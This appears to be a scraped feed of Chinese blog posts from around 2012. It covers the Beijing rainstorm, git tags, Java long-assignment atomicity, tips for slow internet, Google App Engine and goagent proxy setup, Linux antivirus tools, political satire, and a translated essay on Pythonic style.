4)为了那么一两个星期而搞那么大的系统,而其它时间都在闲着,有些可惜了,这也就是铁路才干得出来这样的事了。
Posted on [http://coolshell.cn/articles/6470.html](http://coolshell.cn/articles/6470.html)]]>
就在新一轮打击微博造谣时,微博却开始救人,信息准确、有条不紊、专业分工。人们自发约定凡救助车打起双闪,整座城市闪耀的灯,是一颗颗跳动的心。这时候“素质论”是一种很扯的论,从汶川、玉树、动车直至昨天的61年不遇,对比前几年美国新奥尔良飓风事件的骚乱,中国民众的素质并不低。可问题来了——为什么中国人总在灾难来临时才显示高素质?平时挤个公交都要恶语相向,排队买张春运的车票都要大打出手,这时却依稀有泰坦尼克沉没前的绅士风范。我的哥们去广渠门桥参加救援时,车一到,人们不约而同地喊“让女人和小孩先上车”。
中国民众平时的素质是被某种力量压制低的。当一个国家只热衷购买公车而不是打造公交车,当铁道部只管大干快上而不做好公共服务,出于自保也必须素 质低。可人性就在那里,人性就像夜明珠,平时平淡无奇像块石头,关键时刻却会显示光辉。大家都知道了——那个趴在水里疏通下水道的大爷,那些站在揭了井盖的排水沟前的环卫工人,那些拎着矿泉水和面包冲进雨夜寻找被困者的哥们,那些平时接个串线电话都要疑神疑鬼,此时却大胆在微博公开自己门牌号和手机号码提供吃住以及热水澡的市民……我并不想用“我们都是中国人”这种煽情观点,我更想说,这是中国人的公民意识在成长。就是,你参与社会自治和管理,会有强烈的存在感和安全感。
这就是文明,人人为我,我为人人,我们都是公民。我欣赏赵楚先生写的北京新市民精神,而我认为暴雨前后并不是两个北京,它一直是一个北京,只是因为有种力量人为制造人群的割裂。大约两年前,北京对外地人限购时爆发过本地人和外地人的一场口水大战,北京人说“外地人滚出首都去”,外地人说“北京人有什么了不起,真正的北京人在周口店”。渐渐地,大家明白在这个国家,没有钱,人人都是外地人,真正的本地人住在中南海。当现代文明透进窗棂,当整个城市变成一片海,外地人/本地人就是个很伪的概念。昨晚,我的哥们杨绯,一个标准的富二代开着他的悍马通宵帮人回家;昨晚,五岳散人提供场地接济被困者;昨晚,很多的本地人发微博呼吁关注那些住在地下室的北漂和外地来的上访者;昨天,一个叫李方洪的派出所所长为转移群众因公殉职……曾经的人群割裂,开始复合得那么合情合理,因为这是人性。
可是割裂仍在,就在普通市民打开自家的房门,私家车主冒着发动机被淹的危险一个个搭救路人……政府管办的公交车却按时下班,高速收费站仍按部就班向救助的车辆收费,平时见个小贩就追得狼奔豕突的城管不见踪影。政府完全没意识到这时正是做秀的好时机,哪怕给被困者就近在快捷连锁店开个钟点房。他们想不到,就像当初想不到给这座城上粉补妆安戴美瞳之余,还得修好下水道。他们只知道开足正面宣传的水笼头,不知道民意是最重要的下水道……这几乎是个图腾,只有上善若水,没有从善如流,不是城市不足,而是成事不足,一根下水道就割裂了我和你。
2008北京奥运刘欢唱的《我和你》,确实同一个世界,却不是同一个梦想。干部只会出国考察,不见上街视察,坐拥60亿的新车,却不见开出来搭救路人。最新听到的笑话,这座城市的管理者说从前天就开始组织十万大军进行预案防治了。十万大军防治,竟有十个逝去的生命,这表明我们按宏大叙事模式修建的城市有多脆弱。
和以前一样,此事必沿着大爱无疆、歌功颂德、灾难让我们更有凝聚力的路子发展下去。如果我没猜错,又会出现“一场大雨冲刷出人间真情”这样的标题。我反感这样的标题,不是一场大雨冲刷出真情,而是一场大雨冲刷出真相,真相是:一个连下水道都修不好的城市,永远进入不了上行道,当整个国家都修不好下水道,就该知道民意为什么天天在内涝。
好吧,就写到这里,现在去机场,飞南方。我不发一言,不置一文,只点一支纪念的烛。
by: 李承鹏
]]>直接使用 git tag 即可
v0.1
v1.3
如果整個專案過多 Tag 也可以透過底下方式搜尋出來
v1.4.2.1
v1.4.2.2
v1.4.2.3
v1.4.2.4
-a 就是標籤名稱,-m 代表該標籤說明
$ git tag
v0.1
v1.3
v1.4
可以使用 git show 來顯示該標先說明以及同時 commit 的資料
tag v1.0
Tagger: Bo-Yi Wu <appleboy.tw AT gmail.com>
Date: Thu Nov 18 12:09:44 2010 +0800
PHP Plurk API version 1.6.2
commit a30c79cf2ebaf5a66ea79852ac195bc828552a2d
Author: Bo-Yi Wu <appleboy.tw AT gmail.com>
Date: Fri Nov 12 13:51:29 2010 +0800
update README and edit logs/index.htm
也可以針對很久以前 Commit 的資料進行標籤
a30c79cf2ebaf5a66ea79852ac195bc828552a2d update README and edit logs/index.htm
77b54912cf6a21c96715b22c74694effed1b1f56 fixed: plurk cookie error
8ddb59176633e9e161835dcceaf453ee4f203bc3 update /API/Users/getKarmaStats
c7dffde325d8ab543f92286bb98c7263e52d6711 transfer tab to space
aa5a300028c3c34be034fc44c1a6caeeb43852e7 transfer tab to space
7c5f24d99e319d4300d3eade533f65ecbe1976dc update to 1.6.1
選擇您要的標籤
git push 並不會把標籤上傳到遠端,所以必須透過底下才行
Counting objects: 50, done.
Compressing objects: 100% (38/38), done.
Writing objects: 100% (44/44), 4.56 KiB, done.
Total 44 (delta 18), reused 8 (delta 1)
To git@github.com:schacon/simplegit.git
如果在本機端很多標籤,利用 –tags 一次上傳上去
Counting objects: 50, done.
Compressing objects: 100% (38/38), done.
Writing objects: 100% (44/44), 4.56 KiB, done.
Total 44 (delta 18), reused 8 (delta 1)
To git@github.com:schacon/simplegit.git
[new tag] v0.1 -> v0.1
[new tag] v1.2 -> v1.2
[new tag] v1.4 -> v1.4
[new tag] v1.4-lw -> v1.4-lw
[new tag] v1.5 -> v1.5
只需要一行指令就可以了
如果是還沒有送到 remote Git repositories 上的,可以使用 git 指令刪除
針對第 v2.5 跟其他 commits 名稱做比對
比較現在與 v2.5
開一個以 v.25 當作基底的 branch
搜尋 v.25 裡面是否有 hello 字串
觀看 v2.5 版本的 Makefile
Posted on http://blog.wu-boy.com
]]>某日,工作了 4 年多的 Java 程序员小 K 跳槽,面试时碰到这样一个题目….
public class P1 { private long b = 0; public void set1() { b = 0; } public void set2() { b = -1; } public void check() { System.out.println(b); if (0 != b && -1 != b) { System.err.println("Error"); } }}
** **** **
问题
调用 set1()、set2()、check(),会打印出 Error 么?
** **
小K 的推理
“无论如何调用 set1()、set2() -> b 的值只可能是 0 或 -1 -> 在 check() 里面的判断条件(b 既不为 0 也不为 -1)永远不成立 -> 不打印 Error”
小 K 觉得有坑:这题目应该不会这么简单,再考虑一下多线程环境。
思前想后,小 K 得出结论:“在多线程环境下也不会打印 Error。这题目很简单,就是考察一下推理吧。”,K 暗自窃喜。
后来小 K 陆续又被问了几个多线程和 JVM 的问题。
后来,就没有后来了….
后来
后来还是有的。到家后,不甘心的小 K 验证了这道秒杀他的面试题。
public static void main(final String[] args) { final P1 v = new P1(); // 线程 1:设置 b = 0 final Thread t1 = new Thread() { public void run() { while (true) { v.set1(); } }; }; t1.start(); // 线程 2:设置 b = -1 final Thread t2 = new Thread() { public void run() { while (true) { v.set2(); } }; }; t2.start(); // 线程 3:检查 0 != b && -1 != b final Thread t3 = new Thread() { public void run() { while (true) { v.check(); } }; }; t3.start();}
使用 3 个线程分别重复执行 set1()、set2()、check()。执行输出结果部分如下:
....00111ErrorError-4294967296004294967295....
执行环境:
_ Java(TM) SE Runtime Environment (build 1.6.0_31-b05)_
_ Java HotSpot(TM) Client VM (build 20.6-b01, mixed mode, sharing), 32bit_
“确实打印了 Error,并且打印了 4294967295、-4294967296。我勒个去,只是啥情况?”
小 K 决定搞懂其中奥秘,重新审视了题目。以一个专业程序员的严谨,并经过无数次 Google 后….他似乎发现了问题所在。
“这确实是一个并发问题!”
分析
这道题目有两个陷阱,分别考察了对并发执行的理解,以及对 JVM 基础(赋值操作)的掌握。
** **
陷阱一:并发执行
并发执行就是多个操作一起执行,CPU 执行不同上下文(可理解为不同线程)发过来的指令。操作系统上层看上去就像是并行处理一样。
也就是说,在编程语言层面,一个简单的操作同样需要考虑并发问题。
小 K 首先是栽在了 check() 中的 if 判断上和设值是存在并发的,不能保证 0 != b 这个判断真(此时 b 为 -1)后恰好 b 被赋值为 0 时判断 1 != b。
除此外,无论 JVM、操作系统、CPU 层面对指令如何优化、重排,最终都是逐一执行单一指令,唯一不同的就是不同层面可能会对执行加以限制,
比如加入_原子操作_,最终保证 CPU 能够完整执行一组指令。
陷阱二:JVM 赋值操作
一些赋值操作不是原子性的。“纳尼?”
Java 基础类型中,long 和 double 是 64 位长的。32 位架构 CPU 的算术逻辑单元(ALU)宽度是 32 位的,在处理大于 32 位操作时需要处理两次。
“这不是<计算机组成原理与汇编>么”,小 K 顿时感到大学白上了,不懂学以致用 T_T~
题目执行打印 4294967295、-4294967296 就是因为读时高 32 位或低 32 位被其他写覆盖了(看一下这两个数字的二进制就知道了)。
Java 已经是封装底层细节很好的语言了,但依然需要注意这些陷阱,可以使用并发处理包 java.util.concurrent.atomic 中包含了一系列无锁原子操作类型,
也可以使用 volatile 关键字保证线程间变量的可见性。
其实这道题目只要解决了并发问题,也就保证了每个执行单元(set1()、set2()、check())中赋值、比较的正确性。可以把同步方法执行看作序列化的事务,各中操作不会相互影响。
再后来
虽然小 K 面试挂了,不过他挂得心服口服。
通过这个期间的不断翻阅文档以及实验,小 K 下次的面试应该不会被类似的题目秒杀了吧….
“按照这个简单面试题的标准,以前写过的程序简直就是通篇 bugs 啊!有木有,有木有啊!!!!”
骚年,继续充电吧!
内外兼修才是好程序员 :-)
Posted on http://88250.b3log.org/java-atomic-conncurrent
]]>
1. Gmail 的基本 HTML 模式 - https://mail.google.com/mail/h/。虽然功能不及常规的 Gmail 界面,但也是个五脏俱全的环境,收发邮件毫无压力。该模式只用了极少量的 JavaScript,几乎每次点击都会产生页面跳转,但这些页面加载起来并不困难。因此基本 HTML 界面更适合网速慢的用户。你甚至可以将其设为默认界面。
2. 在搜索偏好页面禁用 Google Instant。只需选中“从不显示即搜即得结果”并点击“保存”,Google 就不会再随着关键词的输入加载搜索结果了。不过这时 Google 还是会显示搜索建议,如需关闭,可通过此链接访问。
3. YouTube Feather 界面提供了“最低延迟的观看体验”。开启后仍然可以播放视频、查看相关视频、订阅用户更新和阅读评论,但这些就是该界面提供的全部功能了。由于网速很慢,最好在分辨率列表中选择“240p”。
4. 旧版 Google 图像搜索界面更适合龟速网络,需要通过此链接进入。之所以不建议在网页上切换,是因为“切换到基本版本”的链接在标准版页面的最底部,而标准版会随着页面滚动不断加载新结果……
5. Chrome 的 click-to-play 功能非常给力,可以按需加载需要插件才能显示的内容。也就是说 Flash、Java 等应用在点击灰色矩形后才会加载。该功能可以替代 FlashBlock 等扩展,并且是 Chrome 的内置功能。启用方法是进入 chrome://chrome/settings/content,选择“插件”中的“click to play”,再点“确定”即可。
6. Google 的转换器可以按移动设备的需求优化页面,不过在计算机上同样可用。只需输入网址,Google 就会显示该页面的压缩版本——小图、简单排版,且没有 JavaScript。
7. 纯文字版的 Google 网页快照可以直接从 Google 的抓取缓存中提取简化版的页面。虽然可能不是很新的版本,但至少可以快速加载。可以通过网页快照顶部的“纯文字版本”链接进入,也可以直接用下面的网址:
www.google.com/search?strip=1&q=cache:www.domain.com
(用网页 URL 代替 www.domain.com)
8. Chrome 的 user agent 自定义功能可以伪装成其他浏览器。如果网速非常慢,伪装成智能手机会有明显改观:很多网站提供了轻量级的移动版界面。要自定义 user agent 字符串,可以打开开发工具(Windows/Linux 下:Ctrl+Shift+I,Mac 下:Command-Option-I),点击窗口底部的“设置”按钮,点选“user agent”下的“更改 user agent”,在下拉框中选择“Android 4.0.2 – Google Nexus”或“iPhone – iOS 5.0”,并取消选中“更改设备参数”。
9. 如果你正在使用的 DNS 服务器非常慢,改用 Google Public DNS 便成为加快浏览速度简单有效的方法。Google 解释说,“DNS 协议是网络基础架构极其重要的一环,它为互联网提供电话簿服务:计算机在访问网站时需要执行 DNS 查询。复杂页面在开始加载前需要执行多次 DNS 查询。计算机每天可能会执行上千次查询。”
10. 使用支持 SPDY 协议的浏览器。该协议“为在万维网低延迟传输内容而设计”。目前 Chrome 和 Firefox 浏览器已经支持 SPDY,而很多 Google 网站也已部署该协议。
如果 Chrome 和 Firefox 都不能满足需求,可以考虑选用为低速连接优化的浏览器 Opera 并打开 Opera Turbo 模式,该功能可以利用 Opera 的服务器压缩页面及页面内的资源。Opera 使用 Google 的 WebP 图像格式节约流量,同时能展现更优质的画面。Opera Turbo 的平均压缩率可达约 60%。Android、Symbian 及 Windows Mobile 平台的 Opera Mobile 应用也提供了 Turbo 模式,另外 Opera Mini 应用提供了更高的压缩率(高达 90%)。Opera Mini 支持大多数手机,包括纯功能手机和 iPhone。
Via [GOS
](http://googlesystem.blogspot.com/2012/07/10-google-features-for-slow-internet.html)Pic via jfdaily
Posted on guao
]]>“知识就是力量。法国就是培根。”
之后的十多年里,这句名言的后半部分一直在困扰着我:它是什么意思?为什么能和前半句列在一起?知识与力量、法国与培根之间,难道冥冥之中有着什么难以言喻的联系吗?
我无法理解。
可是,每当我向大人们提起“知识就是力量,法国就是培根”这句话,他们却只是赞同地点点头。
或者是当有人说了句“知识就是力量”时,我会紧跟着接上一句“法国就是培根”……可从没有人用怪异的眼光看着我、认为我说了奇怪的事,而只是若有所思地表示同意。
我还专门去问过一个老师,“知识就是力量,法国就是培根。”这句话是什么意思,然而得到的答复却是整整10分钟关于“知识就是力量”的解释,压根没有触及一点儿“法国就是培根”的内容。当我怯生生地用疑问的语气提醒老师,“法国就是培根?”他只是说了句“没错。”只有12岁的我没有勇气和自信再追问下去。
我绝望了。
从那一刻起,我知道自己永远不可能理解这句谜一般的话语背后的奇特意义,我放弃了追寻,仅仅将它当作是可以挂在嘴边、却不去思考其意味的一个谜。
直到多年之后在书籍中偶尔见到这句话,我才意识到发生了什么。
“Knowledge is Power….Francis Bacon”
那一瞬间,童年崩坏……
]]>Google App Engine 只支持Python、Java和Go,这篇教程我要介绍的是Google App Engine SDK for Python的使用方法。
1. 首先,先从Python官网下载Windows版本 (x86 x64),关于Python2与3的区别,详见http://wiki.python.org/moin/Python2orPython3,如果你是在GAE是运行Python程序,请使用Python2。安装过程很简单,一路next就行,安装完后进入cmd,输入 python ,应该会出现如下图的提示。
2\. 如果python命令提示无效命令,那么有可能是系统无法找到相关文件,你可以将Python的安装路径加入到系统的path中,注意多个值之间用英文的分号隔开。(右键计算机-属性-高级系统设置-环境变量)
3\. 下载[Google App Engine SDK for Python](https://developers.google.com/appengine/downloads#Google_App_Engine_SDK_for_Python)并安装,依旧是一路next,如果安装程序没有自动把安装路径加入到path中,请手动加入。
4. Google App Engine Launcher的功能很简单,如图所示
5\. 设置Google App Engine Launcher(Edit-Preferences),在 Python Path 中填入python的安装路径,在 Editor 中填入文本编辑器的安装路径(可以是系统自带的记事本)。
6\. 添加应用 (File-Add Existing Application)并运行测试
Google App Engine SDK for Python 的教程就告一段落了,如果你想在GAE上运行Java程序,那么一定不要错过Google App Engine SDK for Java的教程: 开始Google App Engine之前——GAE SDK教学之Java篇 。
]]>
Google App Engine 只支持Python、Java和Go,这篇教程我要介绍的是Google App Engine SDK for Java的使用方法。
1. 首先,从oracle官网下载JDK (x86 x64)并安装
2. 下载Google App Engine SDK for Java,解压到任意位置,注意路径中不要有空格
3. 本地测试,Google App Engine SDK for Java没有图形界面,只能使用命令提示符。在cmd中进入Google App Engine SDK for Java的bin目录,运行: dev_appserver.cmd 应用目录 ,注意路径不能有空格,待启动完毕后在浏览器中访问 http://localhost:8080/
4. 部署,在cmd中进入Google App Engine SDK for Java的bin目录,运行: appcfg.cmd update 应用目录
Google App Engine SDK for Java 的教程就告一段落了,如果你想在GAE上运行Python程序,那么一定不要错过Google App Engine SDK for Python的教程: 开始Google App Engine之前——GAE SDK教学之Python篇 。
]]>我们早已对键盘上ESC键司空见惯,一旦有需要,我们会不假思索地按下去,但您知道这个按键是怎么来的吗?不久前纽约时报撰文一篇,让我们了解到了ESC键的发明者及其起源。
对此,纽约时报是这样写的:“ESC键于1960年诞生。当时IBM的一位程序员Bob Bemer正在解决一个巴别塔难题:不同生产商的电脑使用不同的代码进行交流。于是Bemer发明了ESC键,让程序员们能够通过它从一种代码切换到另外一种。后来,随着计算机代码的标准化(有趣的是,Bemer在这个过程中起到了带头作用),ESC键逐渐变成了一种‘中断’功能键。”
据悉,Bob Bemer一向是个充满忧虑意识的人。早在几十年前,他就在担心着千年虫问题。因此,这个键上的“ESC”所代表的“Escape”也就不足为奇了。尽管如今的电脑已经相对要稳定许多,但许多人仍旧不希望它退役。一位程序员Bob Frankston如是说:“键盘上有这样一个能‘让我逃离这个鬼地方’的按钮真是不错。”
]]>首先,Linux比其它操作系统更稳定更安全。理论上Linux是有可能被病毒侵害的。但实际上 Linux机器几乎不可能遭受病毒的攻击。所以我这里的问题是为什么要为Linux准备防病毒软件,为了更好理解,我准备了以下理由:
Linux平台安装杀毒软件的原因:
● 从Linux平台扫描Windows驱动
● 通过网络扫描Windows工作站
● 在Linux服务器中扫描接收和发送的邮件
● 扫描发送给其它机器的重要文件
下面介绍几个免费的Linux平台上的杀毒软件
1、ClamAV 杀毒
ClamAV 杀毒是Linux平台最受欢迎的杀毒软件,ClamAV属于免费开源产品,支持多种平台,如:Linux/Unix、MAC OS X、Windows、OpenVMS。ClamAV是基于病毒扫描的命令行工具,但同时也有支持图形界面的ClamTK工具。ClamAV主要用于邮件服务器扫描邮件。它有多种接口从邮件服务器扫描邮件,支持文件格式有如:ZIP、RAR、TAR、GZIP、BZIP2、HTML、DOC、PDF,、SIS CHM、RTF等等。ClamAV有自动的数据库更新器,还可以从共享库中运行。命令行的界面让ClamAV运行流畅,你不必以后台进程的方式运行,当你想扫描时只需输入扫描命令指定文件或目录就行。
2、Avast Linux 家庭版
对于你的计算机来说,Avast是最好的防病毒解决方案之一。Avast Linux家庭版是免费的,只能用户家庭或者非商业用途。简单易用的用户界面和其它特性使得Avast变得逐渐流行起来,同样支持GUI和命令行两种工具。所有用户都能轻松地操作,因为它有简单界面(初级用户)高级界面(高级用户),Avast有以下一些特性:自动更新、内置邮件扫描器等。
3、Avria
另一个Linux下最好的杀毒软件是Avria免费杀毒版,Avria提供可扩展配置,控制你的计算机成为可能。它有一些很强大的特性,例如:简单的脚本安装方式、命令行扫描器、自动更新(产品、引擎、VDF)、自我完整性程序检查等等。
4、AVG 免费版杀毒
现在有超过10亿用户使用AVG杀毒,同样是Linux机器中不错的杀毒专家,免费版提供的特性比高级版要少。AVG目前还不支持图形界面。提供防病毒和防间谍工具,AVG运行速度很快,占用系统资源很少,支持主流Linux版本如:Debian、Ubuntu、Red hat、Cent OS、FreeBSD等等。
5、F-PROT 杀毒
F-PORT属于Linux用户中的一种新的杀毒解决方案,对家庭用户免费。它有使用克龙(cron)工具的任务调度的特性,能在指定时间执行扫描任务。同时它还可以扫描USB HDD、Pendrive、CD-ROM、网络驱动、指定文件或目录、引导区病毒扫描、镜像。
从以上讨论中可看出,每种杀毒软件都有它自己的特性,有些支持良好的图形界面,有些更适合命令行扫描,根据这些特性选择一款最适合你自己的吧!
]]>如果生活可以选择,我愿生活在新闻联播里。那里的农业年年大丰收,工业月月传喜讯。即使遇到百年不遇的自然灾害和金融危机,都是有增无减。
如果生活可以选择,我愿生活在新闻联播里。那里的孩子都能上得起学,穷人们都能看得起病,百姓住每月77元的廉租房,工资增长11.2%,大学生就业率达到99.13%,大学生食堂就餐平均每顿2、3元。
如果生活可以选择,我愿生活在新闻联播里。那里的物价基本不涨,交通基本不堵,环境基本改善,扫黄基本有效,罪犯基本落马。
如果生活可以选择,我愿生活在新闻联播里。那里是爱的家园,人间的天堂;那里有人们向往的生活,一个梦的世界。
如果有一天,我老无所依,请把我埋在新闻联播里。
三十年前你们宣传“计划生育好,政府来养老”,我们信了;二十年前你们改为“计划生育好,政府帮养老”,我们依然可以接受,十年前你们彻底颠覆了过去的承诺,改成了“养老不能靠政府,要求加社保”,我们交钱养老也认了!现在我们老了,又说养老金不够了,要我们活到老干到老!
声明:本文内容来自于互联网,发表于此仅供测试网络,并不代表本人同意或反对文中观点。本文如有违法之处,一切责任由原作者承担,本人谢绝各种跨省,谢谢合作。
]]>
曾有人问我:你拥有什么?
是啊,我拥有什么呢?我离高富帅的距离比生和死还遥远,离官二代的距离可能要追溯到唐末宋初。我似乎不知道我拥有什么,却已经知道我失去了什么,将失去iphone、名表和跑车,更将失去心中那完美的女神……
然而,一位把刀缸(八道杠)少年告诉我:珍惜拥有!
依然记得学校食堂里一碗饭吃出6只半苍蝇的那一幕,因为到现在我还在纠结那半只苍蝇让谁给偷吃了。
曾有人问我:你拥有什么?
是啊,我拥有什么呢?早上吃着地沟油油条、苏丹红咸蛋,喝着三聚氰氨奶营养早餐,中午是瘦肉精肉炒农药韭菜,人造鸡蛋,石蜡翻新陈米饭,晚上是尿素豆芽,石膏豆腐配染色馒头。据说,东邪西毒南帝北丐已各据一方,占领了祖国江山。我似乎不知道我拥有什么,却已经知道我失去了什么,将失去城管体魄以保家卫国收复失地的夙愿…
然而,把刀缸少年再次告诉我:珍惜拥有!
依然还记得菲律宾欺负我渔民、霸占我南海的那一幕,因为我现在还期盼着中国那只没有武器装备、没有军衔、让人谈虎色变的特种部队能集结南海呢。
曾有人问我:你拥有什么?
是啊,我拥有什么呢?小日本、韩国棒子、越南猴子还有可爱的朝鲜思密达也纷纷抄袭照搬菲佣做法,抓渔民、抢岛屿。有人放言:不占领中国几个小岛、抓扣几名中国渔民,都不好意思说和中国是邻居。我似乎不知道我拥有什么,却已经知道我失去了什么,将失去看到祖国河山一统的那天…
然而,把刀缸少年再次出现告诉我:珍惜拥有!
感谢国家、感谢组织、感谢领导、感谢高考、感谢阅卷老师…请相信我:如果不是这可恶的700字限制,我会一直感谢下去,因为我知道珍惜拥有!
请允许我再啰嗦一句:把刀缸还没告诉我:我拥有什么呢。
声明:本文内容来自于互联网,发表于此仅供测试网络,并不代表本人同意或反对文中观点。本文如有违法之处,一切责任由原作者承担,本人谢绝各种跨省,谢谢合作。
]]>
简易教程:
如何部署和使用goagent,以Windows为例:
1.申请Google Appengine并创建appid,地址:http://appengine.google.com/
2.下载goagent最新版 http://goo.gl/pTt0W
3.修改local\proxy.ini中的[gae]下的appid=你的appid(多appid请用|隔开)
4.双击server\uploader.bat,上传成功后即可使用了(地址127.0.0.1:8087)
5.chrome请安装SwitchySharp(https://chrome.google.com/webstore/detail/dpplabbmogkhghncfbfdeeokoefdjegm)插件,然后导入这个设置http://goagent.googlecode.com/files/SwitchyOptions.bak
6.firefox请安装FoxyProxy(https://addons.mozilla.org/zh-cn/firefox/addon/foxyproxy-standard/),Firefox需要导入证书
下载地址:
官方给出的下载地址已经被墙,请使用此地址下载:https://github.com/phus/goagent/zipball/master
我已经在压缩包内的proxy.ini文件中填入了自用的appid,双击local\goagent.exe并把IE代理设置成127.0.0.1:8087即可使用了(其他浏览器请参考上面的简易教程),不过我还是十分建议你申请自己的appid
有问题或想要更多详细资料,请留言或参考https://code.google.com/p/goagent/
]]>PaaS是Platform as a Service的缩写,意思是平台即服务。 把服务器平台作为一种服务提供的商业模式。通过网络进行程序提供的服务称之为SaaS(Software as a Service),而云计算时代相应的服务器平台或者开发环境作为服务进行提供就成为了PaaS(Platform as a Service)。
( copy自百度百科,其实就是我们所说的云平台 )
_ _
首先说下为什么不用国内的云平台,国内的那些云平台除 Sina App Engine 外,像阿里云、盛大云等都价格不菲,虽然有免费试用,但竟然都只能试用几天,毫无诚意,还不如去买虚拟主机呢。而SAE,表面上免费,但实际上当云豆用完了,就得花钱。
抛开资费问题不说,为什么那么多人都选择国外的空间和域名提供商,还不是因为备案。在国内,无论什么网站,都得备案,不备案,你就等着被封、被墙吧。当然,国外未备案的网站也有可能被墙。
好了,废话扯完了,进入正题。说到国外的云平台,就不得不说 Google App Engine 了,虽然只支持 python java 和 go 3种语言,但搭个博客什么的绰绰有余了,这个博客就是在GAE上搭建的。对于资费问题,也完全不用发愁,GAE的配额是每天下午4点更新,基本上只要流量不大,就不用担心配额问题。
如果你想搭个博客,建议你使用B3LOG,以前很火的 Micolog 已经很久没有更新了,而 Micolog 的改进版 —— Micolog2 最近好像也停止更新了,只有 B3LOG 还在更新。当然,这些博客程序跟 WordPress 相比完全不值一提,但我认为,一个博客 重要的是内容,不是应用、插件、主题等乱七八糟的东西,做的再好看,没有内容,也照样没人来。
使用GAE要注意它提供的默认域名 appid.appspot.com 已经被墙,需要自己绑定域名才可访问,这里推荐免费的 tk 域名。不过GAE倒是不用担心速度和稳定性,毕竟是 Google 提供的,即使在国内,访问也很快。
除了GAE,其他大公司提供的云平台还有 Amazon Web Services 和 Windows Azure 。这两个云平台都提供试用,AWS可以试用一年 azure 可以试用 3个月,不过两者都需要提供信用卡,当免费期内的配额超了以后,会直接扣费,这些配额是按月结算的。这些云平台对主流语言都有很好的支持,不要担心部署的博客、论坛有问题。
还有一些云平台像 OpenShift 、 dotCloud 等,也都是免费的,可以试试,具体怎么样 因为我没试过我也不知道,不过速度应该都可以,毕竟都是知名公司的产品。需要注意的是, dotCloud 的免费版不支持绑定域名,想绑米的去试试别的吧。
对于这么多云平台,我想大家都有一个困惑,到底哪个好呢?不妨来听听我的建议,如果你像我一样,想找个免费的平台搭个博客自娱自乐的话,那GAE很适合你;如果你只是想练练手,搭个 WordPress 或 Discuz 玩玩的话,那AWS 和 azure 可以试试。不过如果你是想办个网站,想把网站做大的话,还是去买虚拟主机或VPS + 付费域名吧,没有哪个网站能靠免费的平台做成功。
最后,奉劝一些人,用免费的平台搭个博客什么的玩玩就行了,别真把它当成做网站的地方了,也不要搭什么视音频分享网站,更不要搞什么18禁的东西。你损害的不仅仅是服务提供商的利益,更是你自己和其他用户的利益,流量大的东西早晚会被封的。
]]>译者:赖勇浩(http://blog.csdn.net/lanphaday)
原文地址:http://faassen.n–tree.net/blog/view/weblog/2005/08/06/0
注:Martijn 是 Zope 领域的专家,他为 Zope 系列产品做了许多开发工作,也开发了 lxml 等多个开源产品。你可以在这里了解一下他的信息http://www.zope.org/Members/faassen。这篇文章写于 2005 年,虽然有少部分内容(主要是例子)看起来已经有些过时,但即便是在今天,它的中心思想依然有极高的指导意义。
这是几个月前在 EuroPython 邮件列表(主要用来组织和计划 EuroPython 会议的邮件列表)出现的问题。这是一个非常有意思的问题,我看到这个词被无数次地使用,但鲜有人尝试解释它的含义。在这条线索之后,许多不同的人,包括我自己,都给出了自己的答案。现在我把我的答案放到博客上,并且润色了一下,希望它能对您有所增益。
Pythonnic 是一个模糊的概念,尽管没有“智能”或“生命”那么模糊,但当你尝试定义它们的时候,就像去抓住一条滑溜溜的泥鳅一样无从下手。可是虽然它们难以定义,然而并不意味着它们没用,因为事实上人们其实极善于利用混乱的定义。Pythonic 有点像“Python惯用法”的意味,现在让我们来聊聊它真正的含义。
随着时间的推移,Python语言不断演进,社区不断成长,涌现了许多关于如何正确地使用 Python 的 ideas。一方面 Python 语言推荐使用大量的惯用法来完成任务(“完成任务的唯一方法”),另一方面,社区不断演变的新的惯用法的又反过来影响了语言的进化,以更好地支持惯用法。比如新进入的字典的 .get() 方法,它把 has_key() 和元素存取两个操作组合为一个操作,从中可以看出这种进化。
惯用法往往不能直接从其它编程语言移植过来。如下文是实现对一个序列里的每个元素执行一个操作的 C 语言实现:
for (i=0; i < mylist_length; i++) { do_something(mylist[i]);}
直接的等效 Python 代码是这样的:
i = 0while i < mylist_length: do_something(mylist[i]) i += 1
这段代码能够完成工作,但并不 Pythonic,它并不是 Python 语言推荐的惯用法。让我们来改进一下。典型的 Python 惯用法是用内置的 range() 函数生成所有的序列下标:
for i in range(mylist_length): do_something(mylist[i])
其实这种实现也并不 Pythonic,接下来大家看看语言推荐的实现方式,真正 Pythonic 实现:
for element in mylist: do_something(element)
“如何直接传递或改变引用”是comp.lang.python 的“月经贴”,但在只有赋值(import、class、def 等语句也可视为赋值)的 Python 中这是不可能的。这种需求通常是因为想让函数返回多个值,用 C 或者许多其它编程语言的方法是给这个函数传入引用或指针:
void foo(int* a, float* b) { *a = 3; *b = 5.5;}...int alpha;int beta;foo(&alpha, &beta);
在 Python 中可以用很囧很恶心的方法来实现:通过给函数传递序列参数来返回结果。写出来的代码可能像这样:
def foo(a, b): a[0] = 3 b[0] = 5.5alpha = [0]beta = [0]foo(alpha, beta)alpha = alpha[0]beta = beta[0]
显然这是毫无 Pythonic 可言的实现。Python 中让函数返回多个值的惯用法与此迥异,得益于元组和元组解包,它看起来也要漂亮得多:
def foo(): return 3, 5.5alpha, beta = foo()
在经验老到的 Python 程序员看来,不够 Pythonic 的代码往往看起来古怪而且累赘,过于冗余也难以理解。因为它使用冗长的代码代替常见的、公认的、简短的惯用法来实现预期效果。更甚于此的是在语言支持正确的惯用法之后,非推荐的代码通常执行起来更慢。
Pythonic 就是以清晰、可读的惯用法应用Python 理念和数据结构。举个例子,应该多使用动态类型,在无必要之处引入静态类型就走向了另一端。另外也要避免使用经验丰富的 Python 程序员不熟悉的方式去完成任务(即遵循最小惊奇原则)。
Pythonic 一词也能够适用于底层的惯用法。一个 Pythonic 的库或框架能使程序员更加容易、更加自然地学会利用它来完成任务。如果用 Python 编写的库或框架迫使程序员编写累赘的或不推荐的代码,那么可以说它并不Pythonic。也许可能是为了使这个库更加方便、易懂,而没有应用 Python 的一些理念,如类等,那也是不 Pythonic 的。类定义应当尽可能地实现信息隐藏,虽然 Python 的许多操作都只作“宽松限制”(通常由程序员在属性的前面加上一个下划线来暗示这是私有成员),但也要做得像 Java 那样严格。
当然,当规模很大的时候,它是否 Pythonic 就极具争议性了。这里给出一些参考条款:如减少冗余,Python 的库与 APIs 都倾向于小型化和轻量化(相对于 java 程序库而言)。重量级的、API过于细化的的Python 库并不 Pythonic。比如 W3C XML DOM API,尽管它的 Python 实现已经颇有时日,但大家并不认为它 Pythonic。有些人认为它是 Java 式的,虽然也有许多 Java 程序员认为并不如此。
